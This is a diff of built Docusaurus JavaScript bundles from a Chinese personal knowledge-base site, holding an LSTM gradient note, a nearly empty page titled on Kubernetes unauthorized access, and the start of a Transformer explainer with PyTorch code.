\u521a\u521a\u63d0\u51fa\u65f6\u4e0d\u5b58\u5728\u9057\u5fd8\u95e8\u3002\u8fd9\u65f6\u5019\u5386\u53f2\u6570\u636e\u53ef\u4ee5\u5728\u8fd9\u6761\u8def\u5f84\u4e0a\u65e0\u635f\u7684\u4f20\u9012\uff0c\u53ef\u4ee5\u5c06\u5176\u89c6\u4e3a\u4e00\u6761 ",(0,d.jsx)(e.strong,{children:"\u9ad8\u901f\u516c\u8def"}),"\uff0c\u7c7b\u4f3c\u4e8e ResNet \u4e2d\u7684\u6b8b\u5dee\u8fde\u63a5\u3002"]}),"\n"]}),"\n",(0,d.jsxs)(e.li,{children:["\n",(0,d.jsxs)(e.p,{children:["\u4f46\u662f\u5176\u4ed6\u8def\u5f84\u4e0a\uff0c LSTM \u4e0e RNN \u5e76\u65e0\u592a\u591a\u533a\u522b\uff0c\u4f9d\u7136\u4f1a\u7206\u70b8\u6216\u8005\u6d88\u5931\u3002\u7531\u4e8e",(0,d.jsx)(e.strong,{children:"\u603b\u7684\u8fdc\u8ddd\u79bb\u68af\u5ea6 = \u5404\u4e2a\u8def\u5f84\u7684\u8fdc\u8ddd\u79bb\u68af\u5ea6\u4e4b\u548c"}),"\uff0c\u56e0\u6b64\u53ea\u8981\u6709\u4e00\u6761\u8def\u7684\u8fdc\u8ddd\u79bb\u68af\u5ea6\u6ca1\u6709\u6d88\u5931\uff0c\u603b\u7684\u8fdc\u8ddd\u79bb\u68af\u5ea6\u5c31\u4e0d\u4f1a\u6d88\u5931\u3002\u53ef\u4ee5\u8bf4\uff0cLSTM \u901a\u8fc7\u8fd9\u4e00\u6761\u8def\u62ef\u6551\u4e86\u603b\u7684\u8fdc\u8ddd\u79bb\u68af\u5ea6\u3002"]}),"\n"]}),"\n",(0,d.jsxs)(e.li,{children:["\n",(0,d.jsxs)(e.p,{children:["\u540c\u6837\uff0c",(0,d.jsx)(e.strong,{children:"\u603b\u7684\u8fdc\u8ddd\u79bb\u68af\u5ea6 = \u5404\u4e2a\u8def\u5f84\u7684\u8fdc\u8ddd\u79bb\u68af\u5ea6\u4e4b\u548c"}),"\uff0c\u867d\u7136\u9ad8\u901f\u8def\u4e0a\u7684\u68af\u5ea6\u6d41\u6bd4\u8f83\u7a33\u5b9a\uff0c\u4f46\u662f\u5176\u4ed6\u8def\u4e0a\u4f9d\u7136\u5b58\u5728\u68af\u5ea6\u6d88\u5931\u548c\u68af\u5ea6\u7206\u70b8\u95ee\u9898\u3002\u56e0\u6b64\uff0c\u603b\u7684\u8fdc\u8ddd\u79bb\u68af\u5ea6 = \u6b63\u5e38\u68af\u5ea6 + \u7206\u70b8\u68af\u5ea6 = \u7206\u70b8\u68af\u5ea6\uff0c\u56e0\u6b64 LSTM \u4f9d\u7136\u5b58\u5728\u68af\u5ea6\u7206\u70b8\u95ee\u9898\u3002 \u4f46\u662f\u7531\u4e8e LSTM \u7684\u9053\u8def\u76f8\u6bd4\u7ecf\u5178 RNN \u6765\u8bf4\u975e\u5e38\u5d0e\u5c96\uff0c \u5b58\u5728\u591a\u6b21\u6fc0\u6d3b\u51fd\u6570\uff0c\u56e0\u6b64 LSTM \u53d1\u751f\u68af\u5ea6\u7206\u70b8\u7684\u6982\u7387\u8981\u5c0f\u5f97\u591a\u3002\u5b9e\u8df5\u4e2d\u901a\u5e38\u901a\u8fc7\u68af\u5ea6\u526a\u88c1\u6765\u4f18\u5316\u95ee\u9898\u3002"]}),"\n"]}),"\n"]})]})}function j(n={}){const{wrapper:e}={...(0,t.R)(),...n.components};return e?(0,d.jsx)(e,{...n,children:(0,d.jsx)(x,{...n})}):x(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/5862ad3b.8c186355.js b/en/assets/js/5862ad3b.8c186355.js new file mode 100644 index 0000000..3a36731 --- /dev/null +++ b/en/assets/js/5862ad3b.8c186355.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3880],{28453:(e,t,n)=>{n.d(t,{R:()=>o,x:()=>l});var s=n(96540);const r={},i=s.createContext(r);function o(e){const t=s.useContext(i);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function l(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:o(e.components),s.createElement(i.Provider,{value:t},e.children)}},66955:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>l,default:()=>u,frontMatter:()=>o,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/README","title":"k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5/"},"next":{"title":"Apiserver","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/ApiServer"}}');var r=n(74848),i=n(28453);const o={},l="k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743",c={},d=[];function a(e){const t={h1:"h1",header:"header",img:"img",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,i.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743",children:"k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-15 00:33:44"})]})})]})]})}function u(e={}){const{wrapper:t}={...(0,i.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/58701670.da5a476e.js b/en/assets/js/58701670.da5a476e.js new file mode 100644 index 0000000..c3e768e --- /dev/null +++ b/en/assets/js/58701670.da5a476e.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6585],{13679:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>l,contentTitle:()=>a,default:()=>h,frontMatter:()=>i,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Transformer \u89e3\u8bfb","title":"Transformer \u89e3\u8bfb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/Transformer \u89e3\u8bfb.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Transformer \u89e3\u8bfb","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Transformer \u89e3\u8bfb","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/Transformer \u89e3\u8bfb.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Swin-Transformer\u89e3\u8bfb.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Swin-Transformer\u89e3\u8bfb"},"next":{"title":"ViT\u89e3\u8bfb.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ViT\u89e3\u8bfb"}}');var s=t(74848),o=t(28453);const i={},a="Transformer \u89e3\u8bfb.md",l={},d=[{value:"\u524d\u8a00",id:"\u524d\u8a00",level:2},{value:"\u6574\u4f53\u67b6\u6784",id:"\u6574\u4f53\u67b6\u6784",level:2},{value:"Attention",id:"attention",level:2},{value:"\u4f55\u4e3a Attention",id:"\u4f55\u4e3a-attention",level:3},{value:"Self-Attention",id:"self-attention",level:3},{value:"Multi-Head Attention",id:"multi-head-attention",level:3},{value:"Encoder",id:"encoder",level:2},{value:"Decoder",id:"decoder",level:2},{value:"\u6b8b\u5dee\u8fde\u63a5",id:"\u6b8b\u5dee\u8fde\u63a5",level:2},{value:"Mask",id:"mask",level:2},{value:"\u4f4d\u7f6e\u7f16\u7801",id:"\u4f4d\u7f6e\u7f16\u7801",level:2},{value:"\u6700\u7ec8\u5efa\u6a21",id:"\u6700\u7ec8\u5efa\u6a21",level:2},{value:"\u8bad\u7ec3",id:"\u8bad\u7ec3",level:2},{value:"Traning Loop",id:"traning-loop",level:3},{value:"\u4f18\u5316\u5668",id:"\u4f18\u5316\u5668",level:3},{value:"\u6b63\u5219\u5316",id:"\u6b63\u5219\u5316",level:3},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2},{value:"\u4f18\u70b9",id:"\u4f18\u70b9",level:3},{value:"\u7f3a\u70b9",id:"\u7f3a\u70b9",level:3},{value:"\u53c2\u8003\u6750\u6599\uff1a",id:"\u53c2\u8003\u6750\u6599",level:2}];function c(n){const e={a:"a",b:"b",br:"br",code:"code",div:"div",font:"font",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,o.R)(),...n.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(e.header,{children:(0,s.jsx)(e.h1,{id:"transformer-\u89e3\u8bfbmd",children:"Transformer \u89e3\u8bfb.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(e.h1,{id:"transformer-\u89e3\u8bfb",children:"Transformer \u89e3\u8bfb"}),"\n",(0,s.jsxs)(e.p,{children:["\n",(0,s.jsx)(e.font,{size:"3",children:(0,s.jsx)(e.b,{children:"[Transformer] Attention Is All You Need"})}),"\n",(0,s.jsx)(e.br,{}),"\n",(0,s.jsx)(e.font,{size:"2",children:"Ashish Vaswani\uff0cNoam Shazeer\uff0cNiki Parmar\uff0cJakob Uszkoreit\uff0cLlion Jones\uff0cAidan N. Gomez\uff0c\u0141ukasz Kaiser\uff0cIllia Polosukhin."}),"\n",(0,s.jsx)(e.br,{}),"\n",(0,s.jsx)(e.font,{size:"2",children:"NIPS 2017."}),"\n",(0,s.jsx)(e.a,{href:"https://arxiv.org/pdf/1706.03762.pdf",children:"[paper]"})," ",(0,s.jsx)(e.a,{href:"https://github.com/tensorflow/tensor2tensor",children:"[tensorflow]"})," ",(0,s.jsx)(e.a,{href:"https://github.com/harvardnlp/annotated-transformer",children:"[pytorch]"})," \n",(0,s.jsx)(e.br,{}),"\n",(0,s.jsx)(e.font,{size:"3",children:"\u89e3\u8bfb\u8005\uff1a\u90b9\u96e8\u8861\uff0c\u5bf9\u5916\u7ecf\u6d4e\u8d38\u6613\u5927\u5b66\u672c\u79d1\u751f\uff0c\u725b\u5fd7\u5eb7\uff0c\u897f\u5b89\u7535\u5b50\u79d1\u6280\u5927\u5b66\u672c\u79d1\u751f"}),"\n",(0,s.jsx)(e.br,{}),"\n"]}),"\n",(0,s.jsx)(e.h2,{id:"\u524d\u8a00",children:"\u524d\u8a00"}),"\n",(0,s.jsx)(e.p,{children:"\u200bAttention \uff08\u6ce8\u610f\u529b\uff09\u673a\u5236\u53ca\u5176\u53d8\u4f53\u5df2\u7ecf\u6210\u4e3a\u81ea\u7136\u8bed\u8a00\u5904\u7406\u4efb\u52a1\u7684\u4e00\u79cd\u57fa\u672c\u7f51\u7edc\u67b6\u6784\uff0c\u751a\u81f3\u5728\u4e00\u5b9a\u7a0b\u5ea6\u4e0a\u53d6\u4ee3\u4e86 RNN \uff08\u5faa\u73af\u795e\u7ecf\u7f51\u7edc\uff09\u7684\u4e3b\u6d41\u5730\u4f4d\uff0c2018\u5e74\u53d6\u5f97\u4e86\u81ea\u7136\u8bed\u8a00\u5904\u7406\u591a\u9879\u4efb\u52a1\u6548\u679c\u5927\u5e45\u63d0\u5347\u7684 BERT \u6a21\u578b\u4fbf\u662f\u57fa\u4e8e attention \u673a\u5236\u642d\u5efa\u3002\u4f46\u81ea2014\u5e74 attention \u673a\u5236\u88ab\u63d0\u51fa\u81f32017\u5e74\uff0c\u867d\u7136\u88ab\u5e7f\u6cdb\u5e94\u7528\u5230\u6df1\u5ea6\u5b66\u4e60\u7684\u5404\u9886\u57df\u4e2d\uff0cattention \u673a\u5236\u66f4\u591a\u7684\u662f\u4f5c\u4e3a CNN\uff08\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\uff09\u3001RNN \u7684\u7ec4\u4ef6\u5b58\u5728\uff0c\u81ea\u7136\u8bed\u8a00\u5904\u7406\u7684\u5404\u79cd\u4efb\u52a1\u4ecd\u7136\u662f\u4ee5 RNN \u53ca\u5176\u53d8\u4f53\u5982 LSTM\uff08\u957f\u77ed\u671f\u8bb0\u5fc6\u9012\u5f52\u795e\u7ecf\u7f51\u7edc\uff09\u4e3a\u4e3b\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u4f46\u662f RNN\u3001LSTM \u867d\u7136\u5728\u5904\u7406\u81ea\u7136\u8bed\u8a00\u5904\u7406\u7684\u5e8f\u5217\u5efa\u6a21\u4efb\u52a1\u4e2d\u5f97\u5929\u72ec\u539a\uff0c\u5374\u4e5f\u6709\u7740\u96be\u4ee5\u5ffd\u89c6\u7684\u7f3a\u9677\uff1a"}),"\n",(0,s.jsx)(e.p,{children:"\u200b1. RNN \u4e3a\u5355\u5411\u4f9d\u5e8f\u8ba1\u7b97\uff0c\u5e8f\u5217\u9700\u8981\u4f9d\u6b21\u8f93\u5165\u3001\u4e32\u884c\u8ba1\u7b97\uff0c\u9650\u5236\u4e86\u8ba1\u7b97\u673a\u7684\u5e76\u884c\u8ba1\u7b97\u80fd\u529b\uff0c\u5bfc\u81f4\u65f6\u95f4\u6210\u672c\u8fc7\u9ad8\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200b2. RNN \u96be\u4ee5\u6355\u6349\u957f\u671f\u4f9d\u8d56\u95ee\u9898\uff0c\u5373\u5bf9\u4e8e\u6781\u957f\u5e8f\u5217\uff0cRNN \u96be\u4ee5\u6355\u6349\u8fdc\u8ddd\u79bb\u8f93\u5165\u4e4b\u95f4\u7684\u5173\u7cfb\u3002\u867d\u7136 LSTM \u901a\u8fc7\u95e8\u673a\u5236\u5bf9\u6b64\u8fdb\u884c\u4e86\u4e00\u5b9a\u4f18\u5316\uff0c\u4f46 RNN \u5bf9\u957f\u671f\u4f9d\u8d56\u95ee\u9898\u7684\u6355\u6349\u80fd\u529b\u4f9d\u65e7\u662f\u4e0d\u5982\u4eba\u610f\u7684\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u9488\u5bf9\u4e0a\u8ff0\u4e24\u4e2a\u95ee\u9898\uff0c2017\u5e74\uff0cVaswani \u7b49\u4eba\u53d1\u8868\u4e86\u8bba\u6587\u300aAttention Is All You Need\u300b\uff0c\u629b\u5f03\u4e86\u4f20\u7edf\u7684 CNN\u3001RNN \u67b6\u6784\uff0c\u63d0\u51fa\u4e86\u4e00\u79cd\u5168\u65b0\u7684\u5b8c\u5168\u57fa\u4e8e attention \u673a\u5236\u7684\u6a21\u578b\u2014\u2014Transformer\uff0c\u89e3\u51b3\u4e86\u4e0a\u8ff0\u95ee\u9898\uff0c\u5728\u8f83\u5c0f\u7684\u65f6\u95f4\u6210\u672c\u4e0b\u53d6\u5f97\u4e86\u591a\u4e2a\u4efb\u52a1\u7684 the-state-of-art \u6548\u679c\uff0c\u5e76\u4e3a\u81ea\u7136\u8bed\u8a00\u5904\u7406\u4efb\u52a1\u63d0\u4f9b\u4e86\u65b0\u7684\u601d\u8def\u3002\u81ea\u6b64\uff0cattention \u673a\u5236\u8fdb\u5165\u81ea\u7136\u8bed\u8a00\u5904\u7406\u4efb\u52a1\u7684\u4e3b\u6d41\u67b6\u6784\uff0c\u4f17\u591a\u6027\u80fd\u5353\u8d8a\u7684\u9884\u8bad\u7ec3\u6a21\u578b\u90fd\u57fa\u4e8e Transformer \u67b6\u6784\u63d0\u51fa\uff0c\u4f8b\u5982 BERT\u3001OpenAI GPT \u7b49\u3002"}),"\n",(0,s.jsxs)(e.p,{children:["\u200b\u672c\u6587\u5c06\u4ece\u6a21\u578b\u539f\u7406\u53ca\u4ee3\u7801\u5b9e\u73b0\u4e0a\u8bb2\u89e3\u8be5\u6a21\u578b\uff0c\u5e76\u7740\u91cd\u4ecb\u7ecd\u4ee3\u7801\u5b9e\u73b0\u3002\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u7531\u4e8e Transformer \u6e90\u4ee3\u7801\u4f7f\u7528 TensorFlow \u642d\u5efa\uff0c\u6b64\u5904\u9009\u62e9\u4e86\u54c8\u4f5b\u5927\u5b66 harvardnlp \u56e2\u961f\u57fa\u4e8e Pytorch \u6846\u67b6\u5f00\u53d1\u7684 ",(0,s.jsx)(e.a,{href:"https://github.com/harvardnlp/annotated-transformer",children:"Annotated Transformer"})," \u4ee3\u7801\u8fdb\u884c\u8bb2\u89e3\uff0c\u4ee5\u5e2e\u52a9\u5927\u5bb6\u4e86\u89e3 Transformer \u7684\u5b9e\u73b0\u7ec6\u8282\u3002"]}),"\n",(0,s.jsx)(e.h2,{id:"\u6574\u4f53\u67b6\u6784",children:"\u6574\u4f53\u67b6\u6784"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\tTransformer \u662f\u9488\u5bf9\u81ea\u7136\u8bed\u8a00\u5904\u7406\u7684 Seq2Seq\uff08\u5e8f\u5217\u5230\u5e8f\u5217\uff09\u4efb\u52a1\u5f00\u53d1\u7684\uff0c\u6574\u4f53\u4e0a\u6cbf\u7528\u4e86 Seq2Seq \u6a21\u578b\u7684 Encoder-Decoder\uff08\u7f16\u7801\u5668-\u89e3\u7801\u5668\uff09\u7ed3\u6784\uff0c\u6574\u4f53\u67b6\u6784\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"./figures/transformer_architecture.png",alt:"image-20230127193646262",style:{zoom:"50%"}})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\tTransformer \u7531\u4e00\u4e2a Encoder\uff0c\u4e00\u4e2a Decoder \u5916\u52a0\u4e00\u4e2a Softmax \u5206\u7c7b\u5668\u4e0e\u4e24\u5c42\u7f16\u7801\u5c42\u6784\u6210\u3002\u4e0a\u56fe\u4e2d\u5de6\u4fa7\u65b9\u6846\u4e3a Encoder\uff0c\u53f3\u4fa7\u65b9\u6846\u4e3a Decoder\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\t\u7531\u4e8e\u662f\u4e00\u4e2a Seq2Seq \u4efb\u52a1\uff0c\u5728\u8bad\u7ec3\u65f6\uff0cTransformer \u7684\u8bad\u7ec3\u8bed\u6599\u4e3a\u82e5\u5e72\u4e2a\u53e5\u5bf9\uff0c\u5177\u4f53\u5b50\u4efb\u52a1\u53ef\u4ee5\u662f\u673a\u5668\u7ffb\u8bd1\u3001\u9605\u8bfb\u7406\u89e3\u3001\u673a\u5668\u5bf9\u8bdd\u7b49\u3002\u5728\u539f\u8bba\u6587\u4e2d\u662f\u8bad\u7ec3\u4e86\u4e00\u4e2a\u82f1\u8bed\u4e0e\u5fb7\u8bed\u7684\u673a\u5668\u7ffb\u8bd1\u4efb\u52a1\u3002\u5728\u8bad\u7ec3\u65f6\uff0c\u53e5\u5bf9\u4f1a\u88ab\u5212\u5206\u4e3a\u8f93\u5165\u8bed\u6599\u548c\u8f93\u51fa\u8bed\u6599\uff0c\u8f93\u5165\u8bed\u6599\u5c06\u4ece\u5de6\u4fa7\u901a\u8fc7\u7f16\u7801\u5c42\u8fdb\u5165 Encoder\uff0c\u8f93\u51fa\u8bed\u6599\u5c06\u4ece\u53f3\u4fa7\u901a\u8fc7\u7f16\u7801\u5c42\u8fdb\u5165 Decoder\u3002Encoder \u7684\u4e3b\u8981\u4efb\u52a1\u662f\u5bf9\u8f93\u5165\u8bed\u6599\u8fdb\u884c\u7f16\u7801\u518d\u8f93\u51fa\u7ed9 Decoder\uff0cDecoder \u518d\u6839\u636e\u8f93\u51fa\u8bed\u6599\u7684\u5386\u53f2\u4fe1\u606f\u4e0e Encoder \u7684\u8f93\u51fa\u8fdb\u884c\u8ba1\u7b97\uff0c\u8f93\u51fa\u7ed3\u679c\u518d\u7ecf\u8fc7\u4e00\u4e2a\u7ebf\u6027\u5c42\u548c Softmax \u5206\u7c7b\u5668\u5373\u53ef\u8f93\u51fa\u9884\u6d4b\u7684\u7ed3\u679c\u6982\u7387\uff0c\u6574\u4f53\u903b\u8f91\u5982\u4e0b\u56fe\uff1a"}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"./figures/transformer_datalink.png",alt:"image-20230127193646262",style:{zoom:"50%"}})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\t\u6a21\u578b\u6574\u4f53\u5b9e\u73b0\u4e3a\u4e00\u4e2a Encoder-Decoder\u67b6\u6784\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'class EncoderDecoder(nn.Module):\n """\n A standard Encoder-Decoder architecture. Base for this and many\n other models.\n """\n\n def __init__(self, encoder, decoder, src_embed, tgt_embed, generator):\n super(EncoderDecoder, self).__init__()\n self.encoder = encoder\n # \u7f16\u7801\u5668\n self.decoder = decoder\n # \u89e3\u7801\u5668\n self.src_embed = src_embed\n # \u8f93\u5165\u8bed\u6599\u7684\u7f16\u7801\u51fd\u6570\n self.tgt_embed = tgt_embed\n # \u8f93\u51fa\u8bed\u6599\u7684\u7f16\u7801\u51fd\u6570\n self.generator = generator\n # \u7ebf\u6027\u5c42+softmax\u5206\u7c7b\u5c42\uff0c\u8f93\u51fa\u5206\u7c7b\u6982\u7387\uff0c\u5373\u67b6\u6784\u56fe\u4e2d\u7684\u6700\u9ad8\u5c42\n\n def forward(self, src, tgt, src_mask, tgt_mask):\n # \u524d\u5411\u8ba1\u7b97\u51fd\u6570\n "Take in and process masked src and target sequences."\n return self.decode(self.encode(src, src_mask), src_mask, tgt, tgt_mask)\n\n def encode(self, src, src_mask):\n # src \u4e3a\u8f93\u5165\u8bed\u6599\n # src_mask \u4e3a\u8f93\u5165\u8bed\u6599\u7684\u906e\u853d\u7b26\u53f7\n return self.encoder(self.src_embed(src), src_mask)\n # \u5148\u7f16\u7801\u8f93\u5165\u8bed\u6599\uff0c\u518d\u548c\u906e\u853d\u7b26\u53f7\u4e00\u8d77\u4f20\u5165\u7f16\u7801\u5668\u4e2d\n\n def decode(self, memory, src_mask, tgt, tgt_mask):\n return self.decoder(self.tgt_embed(tgt), memory, src_mask, tgt_mask)\n # \u89e3\u7801\u51fd\u6570\u7c7b\u4f3c\u7f16\u7801\u51fd\u6570,memory\u4e3a\u8bb0\u5fc6\uff0c\u5176\u5b9e\u5c31\u662f\u7f16\u7801\u5668\u7684\u8f93\u51fa\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\t\u5728\u8be5\u4ee3\u7801\u4e2d\u5b9e\u73b0\u7684\u524d\u5411\u8ba1\u7b97\u51fd\u6570\u5373\u5148\u901a\u8fc7 Encoder \u7f16\u7801\uff0c\u518d\u8f93\u51fa\u7ed9 Decoder \u89e3\u7801\u3002\u6700\u7ec8\u7684\u7ebf\u6027\u5206\u7c7b\u5e76\u672a\u5728\u8be5\u7c7b\u4e2d\u5b9e\u73b0\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\t\u63a5\u4e0b\u6765\u5c06\u9010\u4e2a\u4ecb\u7ecd Transformer \u7684\u5b9e\u73b0\u7ec6\u8282\u548c\u539f\u7406\u3002"}),"\n",(0,s.jsx)(e.h2,{id:"attention",children:"Attention"}),"\n",(0,s.jsxs)(e.p,{children:["\u200bAttention \u673a\u5236\u662f Transformer \u7684\u6838\u5fc3\u4e4b\u4e00\uff0c\u8981\u8be6\u7ec6\u4ecb\u7ecdAttention \u673a\u5236\u7684\u601d\u60f3\u4e0e\u64cd\u4f5c\u9700\u8981\u8f83\u591a\u7684\u7bc7\u5e45\u4e0e\u7b14\u58a8\uff0c\u6b64\u5904\u6211\u4eec\u4ec5\u7b80\u8981\u6982\u8ff0 attention \u673a\u5236\u7684\u601d\u60f3\u548c\u5927\u81f4\u8ba1\u7b97\u65b9\u6cd5\uff0c\u66f4\u591a\u7ec6\u8282\u8bf7\u5927\u5bb6\u5177\u4f53\u67e5\u9605\u76f8\u5173\u8d44\u6599\uff0c\u4f8b\u5982\uff1a",(0,s.jsx)(e.a,{href:"https://towardsdatascience.com/attaining-attention-in-deep-learning-a712f93bdb1e",children:"Understanding Attention In Deep Learning (NLP)"}),"\u3001",(0,s.jsx)(e.a,{href:"https://lilianweng.github.io/posts/2018-06-24-attention/",children:"Attention? Attention!"}),"\u7b49\u3002\u5728\u4e0b\u6587\u4e2d\uff0c\u6211\u4eec\u5c06\u4ece\u4f55\u4e3aAttention\u3001self-attention \u548c Multi-Head attention 